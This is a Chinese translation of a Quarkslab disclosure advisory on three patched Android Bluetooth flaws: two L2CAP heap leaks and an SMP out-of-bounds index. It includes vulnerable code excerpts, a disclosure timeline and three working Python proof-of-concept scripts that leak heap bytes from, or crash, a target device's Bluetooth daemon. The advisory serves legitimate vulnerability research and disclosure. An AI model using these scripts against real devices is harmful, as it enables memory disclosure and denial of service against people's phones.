三個(gè)Android藍(lán)牙組件漏洞詳情
寫在前面的話
2018年3月,Quarkslab向Google報(bào)告了Android藍(lán)牙協(xié)議棧中的一些漏洞:
- 問題編號(hào)74882215:藍(lán)牙L2CAP L2CAP_CMD_CONN_REQ遠(yuǎn)程內(nèi)存泄露
- 問題編號(hào)74889513:藍(lán)牙L2CAP L2CAP_CMD_DISC_REQ遠(yuǎn)程內(nèi)存泄露
- 問題編號(hào)74917004:藍(lán)牙SMP smp_sm_event()OOB陣列索引
漏洞1:藍(lán)牙L2CAP L2CAP_CMD_CONN_REQ遠(yuǎn)程內(nèi)存泄露
1. 簡(jiǎn)要
通過向目標(biāo)設(shè)備發(fā)送特制的L2CAP數(shù)據(jù)包,藍(lán)牙范圍內(nèi)的遠(yuǎn)程攻擊者可利用Android藍(lán)牙協(xié)議棧中的漏洞披露屬于com.android.bluetooth守護(hù)程序堆的2個(gè)字節(jié)。
2. 漏洞詳細(xì)信息
L2CAP是藍(lán)牙協(xié)議棧中的協(xié)議, L2CAP的功能包括為更高層協(xié)議傳輸數(shù)據(jù),包括通過單個(gè)鏈路復(fù)用多個(gè)應(yīng)用程序。L2CAP是基于通道進(jìn)行的,并且控制命令在預(yù)定義的L2CAP_SIGNALLING_CID (0x01)通道上被發(fā)送。L2CAP傳入數(shù)據(jù)由l2c_rcv_acl_data()函數(shù)[platform/system/bt/stack/ L2CAP /l2c_main.cc]處理。如果傳入的L2CAP數(shù)據(jù)包指定L2CAP_SIGNALLING_CID作為其目標(biāo)通道,則l2c_rcv_acl_data()調(diào)用process_l2cap_cmd()函數(shù)來處理L2CAP控制命令。L2CAP_CMD_CONN_REQ控制命令在process_l2cap_cmd()函數(shù)中以以下這種方式處理:
- case L2CAP_CMD_CONN_REQ:
- STREAM_TO_UINT16(con_info.psm, p);
- STREAM_TO_UINT16(rcid, p);
- p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
- if (p_rcb == NULL) {
- L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",
- con_info.psm);
- l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
- break;
- } else {
- [...]
上面的代碼使用STREAM_TO_UINT16宏[platform/system/bt/stack/include/bt_types.h]從L2CAP數(shù)據(jù)包中讀取2個(gè)uint16_t值(con_info.psm 和rcid):
- #define STREAM_TO_UINT16(u16, p) \
- { \
- (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
- (p) += 2; \
- }
該漏洞在于使用STREAM_TO_UINT16宏而不檢查攻擊者控制的數(shù)據(jù)包中是否還有足夠的數(shù)據(jù);如果第二次使用STREAM_TO_UINT16時(shí)數(shù)據(jù)包中沒有剩余字節(jié),則從帶外數(shù)據(jù)(out-of-bound)讀取rcid,更精確的從堆上與包數(shù)據(jù)相鄰的任何數(shù)據(jù)中讀取rcid。之后,如果l2cu_find_rcb_by_psm()返回NULL并因此到達(dá)if分支,則對(duì)l2cu_reject_connection() [stack/l2cap/l2c_utils.cc]的調(diào)用會(huì)將rcid發(fā)送到遠(yuǎn)程對(duì)等體(the remote peer),這樣堆中就會(huì)有2個(gè)字節(jié)泄露出來:
- void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,
- uint8_t rem_id, uint16_t result) {
- [...]
- UINT16_TO_STREAM(p, 0); /* Local CID of 0 */
- UINT16_TO_STREAM(p, remote_cid);
- UINT16_TO_STREAM(p, result);
- UINT16_TO_STREAM(p, 0); /* Status of 0 */
- l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
- }
這里請(qǐng)注意,l2cu_find_rcb_by_psm()可以完全受到攻擊者的影響,通過精心設(shè)計(jì)的L2CAP數(shù)據(jù)包中提供未注冊(cè)的協(xié)議或服務(wù)多路復(fù)用器(PSM)ID字段,會(huì)始終返回NULL(即始終返回到if分支)。另外,請(qǐng)注意,使用STREAM_TO_UINT16宏而不檢查攻擊控制的包中是否還有足夠的數(shù)據(jù),這種不安全的模式在process_l2cap_cmd()函數(shù)中隨處可見。
3. Poc
下面的Python代碼觸發(fā)了漏洞并輸出從目標(biāo)藍(lán)牙設(shè)備的com.android.bluetooth守護(hù)進(jìn)程堆中泄漏的16位值。這個(gè)Python代碼使用Blueborne框架中的l2cap_infra包。用法:$ sudo python l2cap01.py
- import os
- import sys
- from l2cap_infra import *
- L2CAP_SIGNALLING_CID = 0x01
- L2CAP_CMD_CONN_REQ = 0x02
- def main(src_hci, dst_bdaddr):
- l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
- # This will leak 2 bytes from the heap
- print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..."
- cmd_code = L2CAP_CMD_CONN_REQ
- cmd_id = 0x41 # not important
- cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: pp_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
- non_existent_psm = 0x3333 # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called
- # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
- # 170 /* Send the data through the channel state machine */
- # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
- # 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
- l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm)))
- l2cap_loop.on(lambda pkt: True,
- lambda loop, pkt: pkt)
- # And printing the returned data.
- pkt = l2cap_loop.cont()[0]
- print "Response: %s\n" % repr(pkt)
- # print "Packet layers: %s" % pkt.summary()
- # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp
- # The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer
- print "Leaked word: 0x%04x" % pkt[2].scid
- l2cap_loop.finish()
- if __name__ == '__main__':
- if len(sys.argv) < 2:
- print("Usage: l2cap01.py <src-hci> <dst-bdaddr>")
- else:
- if os.getuid():
- print "Error: This script must be run as root."
- else:
- main(*sys.argv[1:])
漏洞#2:藍(lán)牙L2CAP L2CAP_CMD_DISC_REQ遠(yuǎn)程內(nèi)存泄露
1. 簡(jiǎn)要
藍(lán)牙范圍內(nèi)的遠(yuǎn)程攻擊者可以使用Android藍(lán)牙協(xié)議棧(Bluetooth stack)中的漏洞通過向目標(biāo)設(shè)備發(fā)送自定義的L2CAP數(shù)據(jù)包來自屬于com.android.bluetooth守護(hù)進(jìn)程堆的4個(gè)字節(jié)。
2. 漏洞詳細(xì)信息
L2CAP_CMD_DISC_REQ控制命令在process_l2cap_cmd()函數(shù)中以下方式處理:
- case L2CAP_CMD_DISC_REQ:
- STREAM_TO_UINT16(lcid, p);
- STREAM_TO_UINT16(rcid, p);
- p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
- if (p_ccb != NULL) {
- if (p_ccb->remote_cid == rcid) {
- p_ccb->remote_id = id;
- l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
- }
- } else
- l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);
上面的代碼使用STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h]從L2CAP數(shù)據(jù)包中讀取2個(gè)uint16_t值(lcid和rcid):
- #define STREAM_TO_UINT16(u16, p) \
- { \
- (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
- (p) += 2; \
- }
該漏洞存在于STREAM_TO_UINT16宏被使用兩次后,而不檢查攻擊者控制的數(shù)據(jù)包中是否還有至少4個(gè)字節(jié);如果數(shù)據(jù)包中沒有剩余字節(jié),那么從將從帶外數(shù)據(jù)讀取lcid和rcid,更準(zhǔn)確的說是從與堆上的數(shù)據(jù)包數(shù)據(jù)相鄰的任何數(shù)據(jù)中讀取。之后,如果l2cu_find_ccb_by_cid()返回NULL并因此到達(dá)else分支,則對(duì)l2cu_send_peer_disc_rsp()[platform / system / bt / stack / l2cap / l2c_utils.cc]調(diào)用會(huì)將lcid和rcid發(fā)送到遠(yuǎn)程對(duì)等體,這樣堆中的4個(gè)字節(jié)就會(huì)被泄漏。
- void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,
- uint16_t local_cid, uint16_t remote_cid) {
- [...]
- UINT16_TO_STREAM(p, local_cid);
- UINT16_TO_STREAM(p, remote_cid);
- l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
- }
請(qǐng)注意,l2cu_find_ccb_by_cid()可以完全受到攻擊者的影響返回NULL(即始終返回到else分支),因?yàn)樵摵瘮?shù)將始終返回NULL,除非在目標(biāo)設(shè)備和攻擊者的藍(lán)牙設(shè)備之間設(shè)置一個(gè)活動(dòng)通道控制塊(CCB),并設(shè)置假的lcid。
3. Poc
以下Python代碼會(huì)觸發(fā)漏洞并輸出從目標(biāo)藍(lán)牙設(shè)備的com.android.bluetooth守護(hù)進(jìn)程堆中泄漏的兩個(gè)16位值。這個(gè)Python代碼使用來自Blueborne框架中的l2cap_infra包。用法:sudo python l2cap02.py
- import os
- import sys
- from l2cap_infra import *
- L2CAP_SIGNALLING_CID = 0x01
- L2CAP_CMD_DISC_REQ = 0x06
- def main(src_hci, dst_bdaddr):
- l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
- # This will leak 4 bytes from the heap
- print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."
- cmd_code = L2CAP_CMD_DISC_REQ
- cmd_id = 0x41 # not important
- cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: pp_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
- # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
- # 170 /* Send the data through the channel state machine */
- # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
- # 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
- l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len)))
- l2cap_loop.on(lambda pkt: True,
- lambda loop, pkt: pkt)
- # And printing the returned data.
- pkt = l2cap_loop.cont()[0]
- print "Response: %s\n" % repr(pkt)
- # print "Packet layers: %s" % pkt.summary()
- # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp
- # The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer
- print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid)
- l2cap_loop.finish()
- if __name__ == '__main__':
- if len(sys.argv) < 2:
- print("Usage: l2cap02.py <src-hci> <dst-bdaddr>")
- else:
- if os.getuid():
- print "Error: This script must be run as root."
- else:
- main(*sys.argv[1:])
漏洞#3:藍(lán)牙SMP smp_sm_event() OOB數(shù)組索引
1. 簡(jiǎn)要
藍(lán)牙范圍內(nèi)的遠(yuǎn)程攻擊者可以使用Android藍(lán)牙協(xié)議棧(Bluetooth stack)中的漏洞,使com.android.bluetooth守護(hù)進(jìn)程訪問之外的數(shù)組,方法就是通過將意外傳輸發(fā)送包里所含的SMP_OPCODE_PAIRING_REQ命令的SMP數(shù)據(jù)包發(fā)送到目標(biāo)設(shè)備。
2. 漏洞詳細(xì)信息
安全管理器協(xié)議(SMP)為運(yùn)行在藍(lán)牙低能耗堆棧上的應(yīng)用程序提供服務(wù)訪問,如設(shè)備身份驗(yàn)證、設(shè)備授權(quán)和數(shù)據(jù)隱私訪問,以及對(duì)運(yùn)行在藍(lán)牙低能耗堆棧上的應(yīng)用程序的訪問。SMP協(xié)議位于L2CAP之上,位于預(yù)定義的L2CAP_SMP_CID (0x06)通道之上。傳入的SMP數(shù)據(jù)包由smp_data_received()函數(shù)[platform/system/bt/stack/smp/smp_l2c.cc]處理。如果通過L2CAP_SMP_CID固定通道接收到一個(gè)SMP數(shù)據(jù)包,其中包含SMP_OPCODE_PAIRING_REQ (0x01)命令,則會(huì)出現(xiàn)以下代碼:
- static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
- BT_HDR* p_buf) {
- [...]
- /* reject the pairing request if there is an on-going SMP pairing */
- if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
- if ((p_cb->state == SMP_STATE_IDLE) &&
- (p_cb->br_state == SMP_BR_STATE_IDLE) &&
- !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
- p_cb->role = L2CA_GetBleConnRole(bd_addr);
- [...]
如上面的代碼所示,p_cb-> role設(shè)置為L(zhǎng)2CA_GetBleConnRole(bd_addr)返回的值。 p_cb-> role應(yīng)該包含其中一個(gè)值[platform / system / bt / stack / include / hcidefs.h]:
- /* HCI role defenitions */
- #define HCI_ROLE_MASTER 0x00
- #define HCI_ROLE_SLAVE 0x01
- #define HCI_ROLE_UNKNOWN 0xff
如果分析人員查看L2CA_GetBleConnRole()函數(shù)中[platform/system/bt/stack/l2cap/l2c_ble.cc]的代碼,就可以發(fā)現(xiàn)它調(diào)用l2cu_find_lcb_by_bd_addr()來查找一個(gè)匹配遠(yuǎn)程BDADDR并使用低能耗傳輸(BT_TRANSPORT_LE)的活動(dòng)鏈接控制塊(LCB)結(jié)構(gòu);如果找不到它,則返回HCI_ROLE_UNKNOWN(0xff)。當(dāng)分析人員通過在BR/EDR(基本速率/增強(qiáng)數(shù)據(jù)速率,也稱為“classic”藍(lán)牙)傳輸上發(fā)送包含SMP_OPCODE_PAIRING_REQ命令的SMP數(shù)據(jù)包來命令此代碼時(shí)就是如下這種情況,它應(yīng)該只用于低能耗(LE)傳輸:
- uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
- uint8_t role = HCI_ROLE_UNKNOWN;
- tL2C_LCB* p_lcb;
- p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
- if (p_lcb != NULL) role = p_lcb->link_role;
- return role;
- }
所以,返回smp_data_received()函數(shù),在將p_cb-> role設(shè)置為HCI_ROLE_UNKNOWN(0xff)之后,它調(diào)用smp_sm_event()[platform/system/bt/stack/smp/smp_main.cc],得到以下代碼。
- 953 void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {
- ...
- 957 tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
- ...
- 970 /* look up the state table for the current state */
- 971 /* lookup entry /w event & curr_state */
- 972 /* If entry is ignore, return.
- 973 * Otherwise, get state table (according to curr_state or all_state) */
- 974 if ((event <= SMP_MAX_EVT) &&
- 975 ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {
在第957行,代碼使用p_cb-> role作為索引從smp_entry_table靜態(tài)數(shù)組中讀取,而不檢查p_cb-> role是否具有兩個(gè)有效值中的一個(gè),即HCI_ROLE_MASTER(0x00)或HCI_ROLE_SLAVE(0x01)。這就是漏洞:smp_entry_table靜態(tài)數(shù)組只包含2個(gè)元素,而p_cb-> role的值為0xFF,在接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP包后,在BR/EDR傳輸上,而不是在預(yù)期的低能耗傳輸之上。
- static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,
- smp_slave_entry_map};
因此,作為執(zhí)行entry_table = smp_entry_table[0xff]時(shí)的OOB索引的結(jié)果,entry_table局部變量將包含一些垃圾值(位于bluetooth.default.so二進(jìn)制文件的數(shù)據(jù)部分中的smp_entry_table全局變量之后的任何值)。因此,稍后在第975行,當(dāng)取消對(duì)entry_table [event – 1] [curr_state]的引用時(shí),它很可能會(huì)導(dǎo)致分段錯(cuò)誤(受bluetooth.default.so二進(jìn)制文件的特定版本的影響,其中包含smp_entry_table全局變量),這將使com.android.bluetooth守護(hù)進(jìn)程停止工作。
3. Poc
用法:$ sudo python smp01.py
- import os
- import sys
- from l2cap_infra import *
- L2CAP_SMP_CID = 0x06
- # This matches the CID used in l2cap_infra to establish a successful connection.
- OUR_LOCAL_SCID = 0x40
- SMP_OPCODE_PAIRING_REQ = 0x01
- def main(src_hci, dst_bdaddr):
- l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
- print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."
- cmd_code = SMP_OPCODE_PAIRING_REQ
- the_id = 0x41 # not important
- cmd_len = 0x08
- flags = 0x4142 # not important
- # here we use L2CAP_SMP_CID as cid
- l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags)))
- l2cap_loop.finish()
- print "The com.android.bluetooth daemon should have crashed."
- if __name__ == '__main__':
- if len(sys.argv) < 2:
- print("Usage: smp01.py <src-hci> <dst-bdaddr>")
- else:
- if os.getuid():
- print "Error: This script must be run as root."
- else:
- main(*sys.argv[1:])
時(shí)間線
- 2018年3月15日:Quarkslab向Google報(bào)告了影響Android藍(lán)牙堆棧的三個(gè)漏洞。錯(cuò)誤被添加到ID“74882215,74889513和74917004”下的“Android外部安全報(bào)告”問題跟蹤器中。
- 2018年3月16日:一個(gè)溫和的機(jī)器人承認(rèn)所有三個(gè)安全報(bào)告。
- 2018年3月26日:Android安全團(tuán)隊(duì)關(guān)閉問題74882215作為問題74135099的副本,聲明該錯(cuò)誤已在2018年3月4日由另一位外部研究人員報(bào)告過。
- 2018年5月10日:Quarkslab回到剩下的問題74889513和74917004,提醒谷歌自初始報(bào)告以來差不多兩個(gè)月沒有得到Android團(tuán)隊(duì)的任何回應(yīng),并詢問是否有人能夠評(píng)估錯(cuò)誤。
- 2018年6月4日:2018年6月Android安全公告發(fā)布,修復(fù)了問題74882215和74889513。
- 2018年7月2日:2018年7月Android安全公告發(fā)布,修復(fù)問題74917004。
- 2018年7月25日:此博客文章發(fā)布。
寫在最后的話
Quarkslab的分析人員已經(jīng)向Google報(bào)告了三個(gè)影響Android藍(lán)牙協(xié)議棧(Bluetooth stack)的漏洞。其中兩個(gè)影響到了處理L2CAP協(xié)議的代碼,它們?cè)试S遠(yuǎn)程攻擊者(在藍(lán)牙范圍內(nèi))公開屬于com.android.bluetooth進(jìn)程的內(nèi)存內(nèi)容。這些內(nèi)存泄露漏洞可能對(duì)攻擊者在攻擊過程的早期階段有所幫助,甚至可能用于檢索敏感數(shù)據(jù)。第三個(gè)漏洞是SMP協(xié)議實(shí)現(xiàn)中的帶外數(shù)組索引錯(cuò)誤,雖然很可能會(huì)導(dǎo)致com.android.bluetooth進(jìn)程崩潰,但攻擊者可能利用它來遠(yuǎn)程執(zhí)行Android設(shè)備上的遠(yuǎn)程代碼。有趣的是,與前兩個(gè)L2CAP問題不同,此SMP錯(cuò)誤不是解析格式錯(cuò)誤的數(shù)據(jù)包的結(jié)果;實(shí)際上,它可以通過發(fā)送包含SMP_OPCODE_PAIRING_REQ的良好格式的SMP數(shù)據(jù)包來觸發(fā),但是是通過BR/EDR傳輸而不是預(yù)期的BLE傳輸。